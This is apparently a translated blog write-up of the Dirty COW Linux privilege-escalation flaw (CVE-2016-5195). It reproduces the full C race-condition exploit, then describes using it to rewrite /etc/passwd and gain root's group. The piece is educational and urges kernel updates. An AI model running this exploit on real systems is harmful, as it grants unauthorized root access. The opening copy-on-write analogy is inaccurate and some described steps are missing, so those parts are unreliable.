
Como el kernel se ejecuta con privilegios de root, puede explotarse como una vulnerabilidad de escalada de privilegios. Esto significa que un atacante puede aprovechar una race condition para obtener privilegios de root explotándola desde un usuario de bajo nivel.
Como acabo de aprender en la asignatura de teoría de sistemas operativos, una race condition ocurre cuando dos o más procesos acceden al mismo recurso y realizan operaciones sobre él sin una sincronización adecuada. En ese caso, el resultado de estas operaciones puede ser incorrecto o no ser el esperado.
Para que sea más fácil de entender, veamos un ejemplo sencillo:
a = "h1n4m"; # ta gán cho a một chuỗi
b = a; # gán tiếp cho b = a
Aquí, aunque tenemos 2 variables, ambas apuntan al mismo objeto de memoria. Este es un mecanismo del sistema operativo porque no es necesario ocupar el doble de memoria para valores idénticos. El SO espera hasta que la copia sea modificada; es entonces cuando asigna memoria propia para la otra variable.
b += "dep trai vcl" # sử đổi giá trị biến b, cụ thể là thêm một chuỗi nối vào sau
En ese momento, el SO hará lo siguiente:
La condición ocurre entre el paso 2 y el paso 4, engañando al memory mapping para que escriba el contenido modificado en el espacio de memoria original en lugar del espacio recién asignado. Esto hace que modifiquemos la memoria que pertenece a a, es decir, el objeto original en lugar de b, incluso aunque solo tengamos permisos de solo lectura sobre a.
Ahora viene la parte principal: ¿cuál es la idea del exploit? Como sabemos, los privilegios de un usuario se definen en el archivo /etc/passwd y solo root puede modificar este archivo. Entonces, ¿podemos aprovechar una race condition para cambiar el contenido del archivo /etc/passwd desde un usuario que solo tiene permiso de lectura?
La respuesta es sí. Primero analizaremos el código del exploit aplicado a un ejemplo más sencillo:

Primero, creamos un archivo dirtycow con permisos 644 (solo root tiene permiso de escritura). Vemos que al escribir "Hello" en el archivo obtenemos Permission denied.
El objetivo del ataque está listo, ahora veamos el código del exploit:
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;
int f=open("dirtycow", O_RDONLY);
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
char *position = strstr(map,"h1n4m");
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
Este exploit se compone de tres hilos: el hilo principal, el hilo writeThread y el hilo madvise.
El hilo principal se encarga de mapear nuestro archivo en memoria:
// Trước tiên chúng ta mở tệp của mình (lưu ý rằng nó đang được mở ở chế độ chỉ đọc)
int f=open("dirtycow", O_RDONLY);
// Sau đó chúng ta map nó vào COW memory bằng MAP PRIVATE
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
Buscar la posición del patrón a reemplazar:
// Sử dụng hàm strstr để tìm vị trí của "h1n4m" trong bộ nhớ được ánh xạ
char *position = strstr(map,"h1n4m");
Luego iniciamos los dos hilos, writeThread y madviseThread.
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
writeThread:
void *writeThread(void *arg)
{
char *content= "h4ck3r";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Đưa con trỏ đến chính xác vị trí cần thay đổi
lseek(f, offset, SEEK_SET);
// Thay đổi trên memory
write(f, content, strlen(content));
}
}
El trabajo de este hilo es reemplazar la cadena h1n4m por h4ck3r (o lo que quieras :> peligroso, ¿verdad?), pero como la memoria mapeada es de tipo copy-on-write, este hilo solo puede modificar el contenido en la copia de la memoria mapeada y no provoca ningún cambio en el archivo??
Entonces, ¿dónde está el peligro? Veamos el otro hilo.
madviseThread
void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}
Este hilo solo hace una cosa: descartar la copia de la memoria mapeada, por lo que el puntero puede volver a apuntar a la memoria mapeada original, es decir, a la memoria mapeada inicial.
Si estos dos hilos se ejecutan secuencialmente, es decir, sin multithreading, el cambio siempre afecta solo a la copia de la memoria mapeada y no supone ningún peligro para nuestro archivo con permisos restringidos. Pero si el sistema invoca estos dos hilos simultáneamente, o sea, con multithreading, ¿qué ocurre? Exacto, una race condition. Habrá momentos en que el sistema se confunda y apunte el puntero a la propia memoria mapeada original, modificando datos en el archivo de root aunque no tengamos permiso de escritura. Pero el sistema operativo no siempre se equivoca, por eso se ejecutan los dos hilos en un bucle infinito; con que el sistema se confunda una sola vez, todo sale tal como lo calculamos.
Volviendo al tema principal, el archivo /etc/passwd solo puede ser modificado por root; necesitamos aplicar los conocimientos anteriores para cambiar el grupo de lowuser en el archivo /etc/passwd
Como usuario de bajo privilegio, no tenemos permiso de escritura sobre el archivo dirtycow.
Lowuser ha pasado a estar en el mismo grupo que root (1001->0000)A lo largo de este análisis les he presentado el CVE-2016-5195, llamado 'la vaca sucia'. Además de modificar el grupo, también podemos añadir un usuario completo al sistema; la forma de hacerlo es la misma. Aunque este CVE apareció hace mucho tiempo, todavía hay muchos sistemas que usan kernels antiguos y siguen siendo vulnerables. Espero que a través del artículo puedan comprender en general el CVE y también cómo proteger sus propios sistemas. ( ¡actualicen el kernel!!!!!)
Y yo soy h1n4m. Paz.